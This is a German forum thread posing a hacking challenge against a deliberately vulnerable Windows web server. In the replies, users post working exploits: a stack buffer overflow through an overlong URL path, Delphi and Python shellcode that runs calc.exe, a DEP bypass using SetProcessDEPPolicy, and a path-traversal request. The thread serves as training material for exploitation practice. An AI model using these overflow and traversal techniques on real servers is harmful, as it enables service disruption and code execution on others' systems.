HaboDown - Denial of Service

CDW

0
Mitarbeiter
Die KIs des Habo Teams haben endlich einen Weg gefunden, die Weltherrschaft zu übernehemen - oder zumindest einen sehr großen Schritt in diese Richtung zu machen!
Eine einzigartige Möglichkeit, die sich beim ersten Vollmond nach dem Start des großen Hadron Colliders anbietet: Jeder, der in diesen 24 Stunden Habo besucht, kann durch ein spezielles Bild beeinflusst werden - durch das spezielle Muster wird sein Unterbewusstsein so umprogrammiert, dass er ein ewiger Diener des großen HABO wird!
Um in dieser Nacht möglichst viele Besucher abfertigen zu können, wird eine spezielle Serversoftware benutzt, die (laut Firmenversprechungen) sehr sehr schnell sein soll.
Du bist zufällig an diese Software gekommen - nun lieg es nur an Dir, die Menschheit zu retten!

Der Server wird voraussichtlich mit Windows betrieben - Version ist allerdings nicht bekannt (ab Windows 2000 bis hin zu 2008). Es genügt allerdings, erstmal einen prinzipellen Fehler zu finden - es gibt einige Widerstandskämpfer mit unterschedlichsten Windowskonfigruationen, die sie Dir gerne zur Verfügung stellen werden. Wer weiß, vielleicht gibt es auch eine Möglichkeit, das Ganze Versionsunabhängig zu gestalten?

Deine Aufgaben:
Untersuche die Software.

1.Welche Möglichkeiten gibt es, den Server lahmzulegen?

2.Gibt es auch eine Möglichkeit, wenn der Server auf einem Intel Octa-Core mit 64GB RAM und eine Client-Request Begrenzung auf ein Request pro Minute pro Client (um DOS Attaken zu vermeiden) läuft?

3. Funktioniert es auch, wenn DEP aktiviert wurde?

4.Setze eine (prinzipelle) Möglichkeit eines Denial of Service Angriffs um (vorgefertigte Shellcodes sollten nicht benutzt werden, da diese durch einen Filter automatisch entdeckt werden könnten - was Dir bei einer Entdeckung blüht, möchtest Du gar nicht wissen!).
Erweitert:
Falls Dein Vorgehen von der Windowsversion abhängig ist:
Setze ein Programm um, welches bei Deinen Verbündeten die nötige Windows-Infromation auslesen und anzeigen/Deinen Exploit anpassen kann. Damit deckst Du die unterschiedlichen Windowsversionen ab.

Achtung: führe alle Vorbereitungen und Tests nur LOCAL durch! Sonst werden die KIs nur vorgewarnt - und Dich ereilt das gleiche Schicksal wie die Hacker in "Stirb langsam 4.0" !

Hinweise zur Software: Standardmäßig läuft der Server auf Port 80 und holt Daten aus "myweb" oder "errors". Dies kann durch die beigelegte Konfigurationsoftware geändert werden. Auf dem Haboserver wird später die Originalkonfiguration verwendet.
Viel Erfolg!
 
Antwort
Es genügt bereits, einen sehr langen, inexistenten path auf dem Server mit dem Browser aufzurufen,
etwa 615 Zeichen hinter dem slash. Dies führt dazu, dass die Rücksprungaddresse
im Stack überschrieben wird und beendet den Server mit einer Fehlermeldung.

error.png
 
Sorry für ein kleines Update "mittendrin",
aber ganz so einfach sollte es nun auch nicht werden ;)
Edit: nochmal, etwas debuggerfreundlicher.
 
Sehr sehr nett gemacht :).

Fuehrt shellcode auf dem Server aus und spawnt eine calc.exe -> muss die erste TCP-Anfrage sein, da sonst der stack nicht mehr stimmt.

Code:
procedure MyShellCode; assembler;
asm
  push 5
  call @@deltacall
  @@deltacall:
  pop eax
  jmp @@go
    db 'calc.exe',0
  @@go:
  add eax, 3
  push eax
  mov eax, $7C86136D //WinXPSP2: kernel32::WinExec
  call eax
  retn
end;

function GetProcSize(p: pByte):DWord;
begin
  result := 0;
  repeat
    inc(result);
    inc(p);
  until (p^ = $C3) or (p^ = $C2);
end;

var
  s: String;
  iShellCodeLen: DWord;
begin
  setlength(s, 1024);
  ZeroMemory(@s[1], 1024);

  iShellCodeLen := GetProcSize(@MyShellCode);

  pDWord(@s[1001])^ := $00DCEAB8 - iShellCodeLen;
  copymemory(@s[1001 - iShellCodeLen], @MyShellCode, iShellCodeLen);
end;
 
Ich finds auch wirklich sehr gut gemacht. Würde gern mehr sowas sehen.
Hab auch noch etwas interessantes gefunden:
Der Webserver liefert beliebige Dateien aus, nötig dazu ist nur ein einfaches

Code:
"GET /../swis.exe HTTP/1.0\r\nHOST: 127.0.0.1\r\n\r\n"

z.B. an den Server zu Senden. Damit könnte man bestimmt wichtige Weltherrschaftdokumente stehlen!
 
Ist zwar schon etwas her, aber es erschien mir als ein guter Einstieg ins Thema.

Code:
import socket

#call ExitProcess
exit_process="\x46\xc1\x80\x7c"
#the function
dis_dep="\x44\x21\x86\x7C"
#jmp esp
jmp_esp="\x7b\x46\x86\x7c"
#WinExec(calc.exe, SW_SHOW)
shellcode="\x6A\x05\xE8\x00\x00\x00\x00\x58\xEB\x0A\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x00\x83\xC0\x03\x50\xB8\xAD\x23\x86\x7C\xFF\xD0"


ip="127.0.0.1"
port=80

def gen_A(n):
    tmp=""
    for i in range(n):
        tmp=tmp+'A'
    return tmp


print "tested against win xp sp3"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(gen_A(1000)+exit_process)
#s.send(gen_A(894)+shellcode+gen_A(75)+dis_dep+"\x00"*8+jmp_esp+"\x00"*4+"\xeb\x80")
s.close()
DEP ist tendenziell auch nicht so die Hürde (um den Server lahmzulegen eh nicht, aber ich wuerd gern etwas Shellcode ausfuehren). Zu mindest nicht unter XP, da hier DEP per default auf OptIn gesetzt ist, dh man kann es ausstellen, indem man iwie SetProcessDEPPolicy(0); aufruft. Das Funktioniert auch gut, aber leider nicht "mein" WinExec call (im Prinzip ists von ReDoX abgeschrieben ;)). Vielleicht hat ja wer Lust da mal drueber zu schauen (bei Olly einfach bei SetProcessDEPPolicy() n Breakpoint setzen).
 
Zurück
Oben